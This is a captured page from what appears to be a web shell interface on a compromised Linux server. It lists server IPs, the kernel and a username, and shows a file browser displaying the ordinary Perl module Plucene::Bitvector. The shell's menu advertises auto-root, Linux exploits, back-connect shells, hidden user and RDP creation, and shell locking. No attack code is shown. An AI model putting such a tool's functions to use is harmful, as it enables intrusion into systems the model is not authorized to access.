Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
[ HOME SHELL ]
Name
Size
Permission
Action
Analysis
[ DIR ]
drwxr-xr-x
Document
[ DIR ]
drwxr-xr-x
Index
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Store
[ DIR ]
drwxr-xr-x
Bitvector.pm
2.04
KB
-rw-r--r--
Document.pm
1.44
KB
-rw-r--r--
QueryParser.pm
6.54
KB
-rw-r--r--
TestCase.pm
3.42
KB
-rw-r--r--
Utils.pm
702
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Bitvector.pm
package Plucene::Bitvector; =head1 NAME Plucene::Bitvector - a vector of bits =head1 SYNOPSIS # isa Bit::Vector::Minimal; my $bitvector = Plucene::Bitvector->read($stream); $bitvector->write($stream); my $count = $bitvector->count; =head1 DESCRIPTION A serialisable implementation of a vector of bits. This subclass of Bit::Vector::Minimal allows the writing (and reading) of vectors to (and from) a Plucene stream. =head1 METHODS =cut use strict; use warnings; use base 'Bit::Vector::Minimal'; use List::Util qw(sum); my @magic = ( 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8 ); =head2 count my $count = $bitvector->count; Compute the number of one-bits. =cut sub count { sum map $magic[ ord $_ ], split //, shift->{pattern}; } =head2 write $bitvector->write($stream); Write this vector to the passed in stream. =cut sub write { my ($self, $stream) = @_; $stream->write_int($self->{size}); $stream->write_int($self->count); # Backwards compat. $stream->print($self->{pattern}); } =head2 read my $bitvector = Plucene::Bitvector->read($stream); Read from the passed in stream. =cut sub read { my ($class, $stream) = @_; my $size = $stream->read_int; my $self = $class->new(size => $size, width => 1); $stream->read_int; $stream->read($self->{pattern}, 1 + $self->{size} / 8); return $self; } 1;
Close